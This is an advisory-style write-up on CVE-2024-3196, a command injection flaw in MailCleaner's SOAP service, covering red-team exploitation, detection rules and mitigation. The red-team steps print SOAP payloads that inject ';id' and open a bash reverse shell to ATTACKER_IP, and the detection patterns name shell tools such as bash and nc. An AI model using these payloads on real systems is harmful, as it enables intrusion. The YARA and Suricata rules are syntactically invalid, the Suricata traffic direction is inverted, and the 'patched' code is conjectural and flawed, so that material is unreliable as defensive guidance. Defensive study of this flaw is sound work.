CVE-2024-3196

Executive Summary

CVE-2024-3196 is a critical OS command injection vulnerability discovered in MailCleaner, an open-source email filtering gateway. The flaw resides within the SOAP service component, specifically affecting multiple functions including getStats, Services_silentDump, Services_stopStartMTA, Config_saveDateTime, Config_hostid, Logs_StartGetStat, and dumpConfiguration. An authenticated attacker with local access can exploit this vulnerability to inject arbitrary operating system commands, leading to full system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. As of this report, no official patch has been released, making immediate mitigation actions critical.

This vulnerability is not related to a WordPress plugin or component; it is a standalone application vulnerability.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the MailCleaner application codebase.

CVSS Breakdown & Threat Level

• CVSS Score: 6.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system denial of service.

Threat Level: High. While the CVSS score is 6.7, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker with local access can achieve complete control over the MailCleaner server.

Deep Dive & Mechanics

The vulnerability is an OS command injection flaw within the SOAP service of MailCleaner. The SOAP service exposes several administrative functions that accept user-supplied input. These functions fail to properly sanitize or validate the input before passing it to system-level commands.

Specifically, the following functions are vulnerable:

• getStats
• Services_silentDump
• Services_stopStartMTA
• Config_saveDateTime
• Config_hostid
• Logs_StartGetStat
• dumpConfiguration

The manipulation of these functions allows an attacker to inject arbitrary shell commands. For example, the Config_hostid function likely takes a hostname or identifier as input and uses it in a command like hostname <input>. By providing input such as ;id, the attacker can execute the id command after the intended operation.

The attack requires local access, meaning the attacker must already have a foothold on the system (e.g., via a compromised user account or another vulnerability). Once authenticated, the attacker can send crafted SOAP requests to the vulnerable service to execute commands with the privileges of the MailCleaner service (typically root).

Vulnerable vs. Patched Code

Since no official patch is available, a direct comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles the following pattern:

Vulnerable Code (Conceptual):

# Vulnerable SOAP handler
def Config_hostid(self, hostid):
    command = "hostname " + hostid
    os.system(command)

Patched Code (Conceptual):

# Patched SOAP handler
import subprocess
import shlex

def Config_hostid(self, hostid):
    # Validate and sanitize input
    if not re.match(r'^[a-zA-Z0-9.-]+$', hostid):
        raise ValueError("Invalid hostid")
    command = "hostname " + shlex.quote(hostid)
    subprocess.run(command, shell=True, check=True)

The patched version would use input validation (e.g., regex whitelist) and proper escaping (e.g., shlex.quote()) to prevent command injection. It would also avoid using os.system() in favor of subprocess with controlled shell execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to the MailCleaner server (e.g., SSH access with a low-privileged user).
• Knowledge of the SOAP service endpoint (typically http://localhost:8080/soap or similar).

Exploitation Steps:

1. Identify the SOAP endpoint:

   curl -s http://localhost:8080/soap?wsdl
   

2. Craft a malicious SOAP request to the Config_hostid function:

   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <Config_hostid>
         <hostid>;id</hostid>
       </Config_hostid>
     </soap:Body>
   </soap:Envelope>
   

3. Send the request using curl:

   curl -X POST http://localhost:8080/soap \
     -H "Content-Type: text/xml" \
     -d @payload.xml
   

4. Observe the output: The id command output will be returned in the SOAP response, confirming command execution.

5. Escalate to a reverse shell:

   <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
     <soap:Body>
       <Config_hostid>
         <hostid>;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'</hostid>
       </Config_hostid>
     </soap:Body>
   </soap:Envelope>
   

Blue Team

Detection and Prevention:

1. Monitor SOAP service logs: Look for unusual patterns in SOAP requests, especially long or suspicious input in fields like hostid, datetime, or dumpConfiguration.

2. Implement input validation: If possible, deploy a Web Application Firewall (WAF) or reverse proxy that validates SOAP requests before they reach the MailCleaner service. Block requests containing shell metacharacters (;, |, &, $, `).

3. Restrict local access: Limit the number of users with local access to the MailCleaner server. Use strong authentication and monitor for unauthorized access attempts.

4. Network segmentation: Isolate the MailCleaner server from other critical systems to limit the blast radius of a compromise.

5. Apply the official patch: Monitor the MailCleaner project for a security update and apply it as soon as it becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SOAP requests containing shell metacharacters in the hostid, datetime, or other fields.
  • Outbound connections from the MailCleaner server to unknown IP addresses on high ports (e.g., 4444, 1337).

• File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the MailCleaner user.
  • Modified system binaries or scripts in /usr/local/mailcleaner/.

• Process IOCs:

  • Unusual processes spawned by the MailCleaner service (e.g., bash, nc, python).
  • Processes running with elevated privileges that were not started by the system.

• Log IOCs:

  • Entries in /var/log/mailcleaner/ showing failed input validation or unexpected command execution.
  • System log entries showing hostname command being executed with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2024_3196_MailCleaner_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting MailCleaner SOAP service"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-3196"
        severity = "high"

    strings:
        $soap_method = "Config_hostid" or "Services_silentDump" or "Services_stopStartMTA" or "Config_saveDateTime" or "Logs_StartGetStat" or "dumpConfiguration"
        $shell_meta = /[;&|`$(){}]/
        $cmd_injection = /(?:;|\||`|\$\().{0,50}(?:id|whoami|cat|bash|nc|python|perl|sh)/

    condition:
        $soap_method and ($shell_meta or $cmd_injection)
}

Sigma Rule

title: MailCleaner SOAP Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-3196 via SOAP requests
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3196
logsource:
    category: webserver
    product: mailcleaner
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/soap'
        cs-uri-query|contains:
            - 'Config_hostid'
            - 'Services_silentDump'
            - 'Services_stopStartMTA'
            - 'Config_saveDateTime'
            - 'Logs_StartGetStat'
            - 'dumpConfiguration'
        cs-request-body|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate administrative actions using special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3196 MailCleaner SOAP Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/soap"; http_uri;
    content:"Config_hostid" or content:"Services_silentDump" or content:"Services_stopStartMTA" or content:"Config_saveDateTime" or content:"Logs_StartGetStat" or content:"dumpConfiguration";
    pcre:"/(;|\||`|\$\().{0,50}(id|whoami|cat|bash|nc|python|perl|sh)/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MailCleaner server: If possible, disconnect it from the network until a patch is applied.
2. Restrict local access: Remove unnecessary user accounts and enforce strong authentication.
3. Monitor for exploitation: Deploy the detection rules provided above to identify any active exploitation attempts.

Long-term Fix:

1. Apply the official patch: Monitor the MailCleaner project (e.g., GitHub, mailing list) for a security update. Apply it as soon as it is released.
2. Implement input validation: If patching is not possible, modify the SOAP service code to validate and sanitize all user inputs. Use a whitelist approach and escape shell metacharacters.
3. Upgrade to a newer version: If a patched version is released, upgrade immediately.

Workaround:

• If the SOAP service is not required, disable it entirely.
• Use a reverse proxy (e.g., Nginx) to filter SOAP requests and block those containing suspicious patterns.

Valters IT